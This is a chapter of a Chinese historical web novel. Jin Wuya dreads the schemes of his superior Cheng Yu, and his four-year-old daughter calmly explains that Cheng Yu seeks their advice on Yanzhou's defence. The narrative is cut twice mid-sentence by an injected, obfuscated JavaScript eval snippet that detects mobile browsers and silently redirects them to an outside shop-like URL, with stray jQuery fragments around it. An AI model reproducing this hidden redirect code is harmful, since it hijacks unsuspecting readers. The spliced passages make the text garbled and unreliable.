“唉,我胡兄诚不欺我啊!大厅那几位真的一个也惹不得,个个都是人面兽心,我自以为拿捏住了程老贼,让他不敢轻易动我。却不想这老贼的城府心机手段岂是我能应付的!他稍微认真拿捏下,我便已经一败涂地,顺着他的道儿走到黑了。” 说着金无涯忽然想到这次考核的事情,“便是连这次考核让我们全都通过,无一人逐出我也觉得甚是奇怪。” “程老贼本意清理小厅,把我等末流逐出几个,为此还刻意为难我等,现在却心慈手软地放过。” “他们说程公被我那文章所吸引,才懒得处理我们。可是我现在想想,却觉得不对,他想处理几个人,不过一句话一勾笔的事情,何至于因此略过。” “考核结果下来后,又说这回该归功我的那篇文章,然后拉着我去喝酒庆祝,结果个个灌我酒,等我醉得一塌糊涂回来,就被阿大带走了,你说巧不巧?” “他是不是蹲我呢?” “他咋知道我喝酒去了……” 金无涯越说越觉得蹊跷,越觉得这是程老贼的阴谋! “这一定是程老贼设下的陷阱!目的就是为了趁我酒醉套话!” 阿爹的这一番推理,金大壮觉得逻辑很通顺,确实处处巧合,处处指向程大人,但是他又觉得不太可能。 “程大人要是真想拿捏您不是容易得很,只要把您抓起来,或者把我们抓起来,无论怎样随便威逼利诱恐吓,您总会屈服的,总斗不过他,何至于绕这么大弯子?” “这就好像老虎要吃狸猫,却故意下药把它弄晕了再吃,这是否多此一举?” 金无涯顿时也觉得自己想太多了。 不过这个不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143951|195140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重要,重要的是程老贼他达到了自己想要的目的,他轻而易举把他的话套出来了!他现在可整啊! “大壮……”金无涯握住大儿子的手,希冀说:“你说我们现在收拾东西离开鄄城回老家还来得及吗?” 金大壮看着老父泪眼汪汪的样子,看样子阿爹的那位上峰程大人确实吓得他不轻。不过他也知道,能在主公出征之时,被托付掌管兖州这么重要的大本营,他本人定然不简单,哪里是阿爹能应付得了的。 不过…… “阿爹,如今再回老家,路途遥远,兵荒马乱,咱们能不能顺利到家都是个大问题。更何况妹妹体弱,阿娘这些年也因劳作积累了不少小毛病,正是将养的时候,她们两人都经受不住再度的长途跋涉!” “打来投奔你时,我们就已经没有退路了。老家闹灾荒又闹兵祸,世道不给人活路,来前为了凑盘缠,买驴车,我和阿娘已经将老家的田产房屋全部卖了个干净,家里便是连一亩三分地都没有了,我们哪里还能再回去?” “那就投奔你阿爷和二叔……” “二叔那院子小,住着一家几口子加上阿爷,本来就很勉强……现下又到处闹兵,处处没钱没粮,二叔已经很难再接到打铁的活儿了,如今只靠一点微薄积蓄和地里三瓜俩枣生活,我们一家五口再回去就是添乱。” “如今横竖是进退不得了,那大儿,你告诉阿爹,应该怎么办?” 金大壮其实不觉得自己算聪明的,他只是一个普通人,甚至算得上相当死板,论起聪慧,家中几人中当属才四岁的妹妹。 可是这事儿本就牵扯小妹,不欲让她涉入其中…… “程大人可有说何时给他交差?不然咱们再拖一拖?” 金无涯觉得儿子太天真了,程老贼那老狼,怎么会给他空子钻,“说是三天后必要给他。” 金大壮咬咬牙,“阿爹有没有兵书,拿来我看看,我们爷俩研究一下怎么应对……” 金无涯是有两本兵书的,毕竟主公是干这个的,他干这行的……但是。 金无涯瞅瞅自己,再看看大儿子那正直憨厚的样子。 他俩临时抱佛脚? “你确定?” 金大壮:“……” 金大壮这才惊觉,往常遇事不决,他和阿娘弟弟几人总是下意识第一时间找妹妹。 现在没了妹妹这个选项,似是不知道找谁好了。阿娘不用说,不识字不懂半分让她知道了凭白操心,二弟游手好闲傻不愣登,半点墨水没有偏偏挺喜欢瞎拽文,让他掺和别添乱就好。 “你们在说什么。” 一道稚声稚气的话,从后边响起。金无涯金大壮父子惊异地往后看去,他们家小闺女不知道什么时候,站在门栏旁,静静地看着他们。 父子三人对视了有数息,静默中,金无涯想要打哈哈糊弄过去,金大壮也左右为难,却听小幼童说道:“程昱有所求,求则弱势,主动权在我,何以忧虑?” 18.顶天 “程老贼/程大人有所求?”父子俩异口同声震惊问道! 小小一团的幼童平静地说道:“若无所求,仅凭阿爹所为,后又露馅承认,他便可以直接处置了阿爹,无论知不知道文章是谁写的,因为罪行确凿。” “他既出难题,就自然有目的。” “题目是兖州若是被攻打,该当如何?这么重要的问题,他不去问一众有真才实干者,问阿爹做什么?” 金无涯感觉胸口中了一箭,不过也顾不得了,他看着小闺女,听着她稚嫩但平静的声音,感觉人也似是被感染,平静下来了。 顺着闺女的话想…… “兖州即将遭遇大难,以程昱之能有所推演预感不难,因此才会设下这个问题,希望引阿爹背后之人,也就是写这篇文章之人,探讨一二,若能帮他出主意则更好。” “这便是程昱所求。曹操不在,荀彧出巡,程昱或许孤掌难鸣。” “阿爹,你主公此次出征带走了多少兵马?兖州还剩多少兵马,各大城池布防如何?” 小金藐乍然问出这样具体的问题,一下切中要害。 金无涯连前头的话尚且没消化过来,更何况后面这些,他一下没反应过来,表情挺茫然的,后来经由大儿子推了下,才醒神。 连忙答道:“阿爹不知道,阿爹哪能知道那么机密的事情,这些只有夏侯大将军和荀公程公这些大人物才知道,不过阿爹知道,恐怕……” 他想到闺女说的这些话,忽然感觉腿软了下。去岁主公本派人去接父亲以及曹氏一族家眷,没想到族人和父亲在来路上被人杀死。消息传到兖州,主公大怒,怒不可遏,连荀公都劝不住!于是主公讨伐徐州报父仇,带走了大批的兵马。 出征那日,他也去看了,乌压压的大片大片的军马士兵和粮草。 恐怕就算没有带走十之七八也带走了至少六七成以上。 那如今兖州……还安全吗? 如果程昱出的推演题是真的,如果小闺女说的兖州即将遭遇大难是真的,那么现在的兖州,还能应对敌人的侵犯吗? 如今鄄城安稳热闹,百姓安居乐业的样子,难道只是表象,或者是暴风雨来临前的平静? 金无涯眼前一黑,险些要晕过去了。 没想到一篇文章背后竟然关联着整个兖州的生死存亡问题!程昱并不是在意区区一篇文章,也不是在意他的作弊之过,他的目的远远高于此,只在整个兖州的安危! 那么能同程昱站在同一高度,提前预见并且思考了这个问题的小闺女,她又在何种的高度? 金无涯此刻,忽然有些相信了,那篇文章可能真是出自才四岁的小闺女之手…… 他金铁锤何德何能……生下这样一个孩子。 金大壮对兖州安危什么的这个话题没有太明白,他只是再度感叹妹妹的不可思议。惊异道:“小藐儿,我和父亲担心忧虑不已的问题,生怕做不好被程大人处置了,在你看来却是程大人反而有求于我们。那你看,应该怎么办?” 虽然没有在状态里,但金大壮也算问道点子上了。 金藐感觉一口气说那么多话有些累人,站久了更是累,于是她伸出两只小短手,要人抱她。 金大壮脚快,趁着父亲还在腿软之际,赶忙跑过去把妹妹抱了起来,金藐趴在他厚厚壮实的肩膀上,倦怠疲懒地说:“回屋说。” “准备好笔墨纸砚。” 想了想,又觉得不便,于是改道:“到院子里,放我到石凳子坐下,阿爹去拿笔墨纸砚到院子石桌上,大兄去折几根树枝,寻些石头子来。” 金无涯好歹也是干谋士的,自然反应过来,小闺女这是准备给他们开沙盘讲讲课了,而程昱出题在于兖州被攻该当如何,所以她准备把题目讲明白了,好让他去交差? 原来程昱一直想要知道写防御论背后的人,是这个目的! 金无涯顿时觉得自己着实太蠢了!蠢过头了! 他现在再信大厅那几个老鬼就把名字改回金铁锤!连外传刚正不阿的程昱尚且如此可怕,更不用想别的几位。他以为自己算是历经世事颇深,哪怕能力不行,脑子也是没啥问题的,但他还是太过天真单纯了。 可能他生小闺女的时候,把所有心机头脑都留给了小闺女……不不不,应当是全金家祖辈的心机头脑都长小阿藐身上了。 金无涯回屋拿了笔墨纸砚出来,忽然意识到一个问题:“阿爹还要去上班啊!阿爹没有请假,若是被姓白的抓住了,又要惹麻烦!” 金藐顿时干脆地拍拍小手,让大兄抱她回屋,“算了……藐也累了,改日再说吧。” 金无涯怎么从闺女平静的眼神中看出了一丝解脱庆幸,好像被迫干活但又忽然找到借口不用干了的样子…… 不管怎么说,还有三天时间,既然闺女说程昱有求于他们,而且事情也说得这么明白了,那金无涯就不再担忧,踏踏实实去上班了。 程昱早先吩咐人,注意金无涯这三日的动向,言行举止,小到细节表情都要盯着如实禀报。 金无涯昨夜一身忧愁仿佛要死了的样子回家,今早上却如此轻松地去府衙。 程昱更加断定,金无涯是在说谎!他绝不是碰巧捡到一篇文章,巧合到上面的内容是他刚刚出的考题。他必是与写文章之人相识,甚至是关系极其亲近深厚! 试着猜想下,他是否回去后,将这个难题同那人商议过,得出了结论,心中有了底气,因此就不再担忧了? 否则他今日不可能有如此轻松的表情,仿佛什么都没发生过。 金无涯觉得程昱冤枉了他,他也不是全然没有半分忧虑,至少对于闺女所说的兖州即将大难的事情,越想越是细思极恐。 来府衙路上,看见沿街百姓各家各户各人都是安稳和乐过日子的样子……越是如此,越觉得恐怖。 没有任何一个人,会想到也许在不久之后,会有大批兵马向兖州乃至主城鄄城袭来,他们只是觉得在主公的地盘上,曹军声名震天下,身为被兖州各大城池包裹在中心的主城鄄城更是安稳极了。 于是都放心过日子。 这地头,除了主公刚刚带兵占领的时候,多久了也没发生过战乱兵祸,百姓们便以为安稳了。 不过金无涯也没忧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148622|195140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虑多久,他这人有个优点,就是自己没法解决,以自己能力也想不明白的事情,就算再如何危急,他也绝不去多想,想多了伤脑子伤身子,他可经不起造,倒不如好生过日子,好生做自己的事儿,天塌了有高个子顶着呢,他这种废物还是算了吧。 如今能顶天的高个子,在金无涯眼里,除了程昱,还得算上那个刚刚到他腿高的小小一团的闺女。 小阿藐……他的小阿藐,当真是厉害!!! 金无涯再度捧起那篇文章来看,如今越发陶醉其中,满是自豪。不愧是他闺女啊……这写的。 旁人见金无涯那样子,忍不住乐了。 周兴丛道:“知道你那文章写得好,但也都好几天了,还自我陶醉呢?问你一些问题,却也不答不说,是揣着肚子里那点货不舍解答,还是看不起吾等?你可知独学而无友,则孤陋而寡闻?” 金无涯也不怕别人误解了他,如今知道程公志不在处置了他,而是整个兖州之难的问题,而且相信只要小闺女给出一个令他满意的答案,他必定也不会再追究了。 小闺女都说了,是他求他们,不是他们求他饶了他们! 因此他什么也不怕了!就只歪了歪嘴角,莫名有两分得意道:“干得好自当骄傲,若自己都不赞赏自己,又怎么能令别人也真诚赞赏?” “子归兄这话倒是新鲜,世人都说君子为人当以谦逊为要,不得轻浮,你却反着来。” “哼,看他平时那废物样儿,难得干出一点好的来,可不就是要紧着得意欢喜了,否则哪来这等机会嘚瑟?” 虽是嘲讽,不过放在金无涯身上好像也还挺合理的。 金无涯不以为耻反以为荣,笑道:“我干不好窝窝囊囊的时候,我也没觉得自己不好,因为我知道自己是个什么样的,我照样在主公帐下混着。而今,我侥幸出彩,我便更多两分欢喜,怎么了?” 那人便说不过金无涯了,悻悻闭嘴。 周兴丛提醒道:“那个马屁精整天跟在白从事身后,子归兄不必同他一般见识。” 金无涯看着周兴丛这厮,说道:“你小子也别装好人,要不是你不讲武德把我的文章擅自交出去……” 周兴丛不解,“我承认我居心不良,但不也是歪打正着,子归兄不是该感谢我?如果不是我,你的考核过不去了,你的才华会一直被掩埋在你平庸的外表下……咳,说的不是子归兄你的样貌,是说你的才学,也不是你的才学,子归兄才学怎么会不好呢……” “行了行了,别废话了,我今天心情好,不跟你计较。” 金无涯在府衙小厅的一天又是插科打诨地混过去,程昱那边听到下属的禀报,心里有了数,料想这两日金无涯便会带着那位的高见来见他。 他心里忽然生起了巨大的期待。 不光是因想从那位的见解下,得到预想中可能会发生的兖州危机的解决办法,还更因为,自古英雄惜英雄,这点放在谋士上也同样如此,他期待能从他的只言片语中,展开一场精神上的交流,让他更加了解这个人是个什么样的人。 他会用何等的真知灼见来冲刷他的头脑!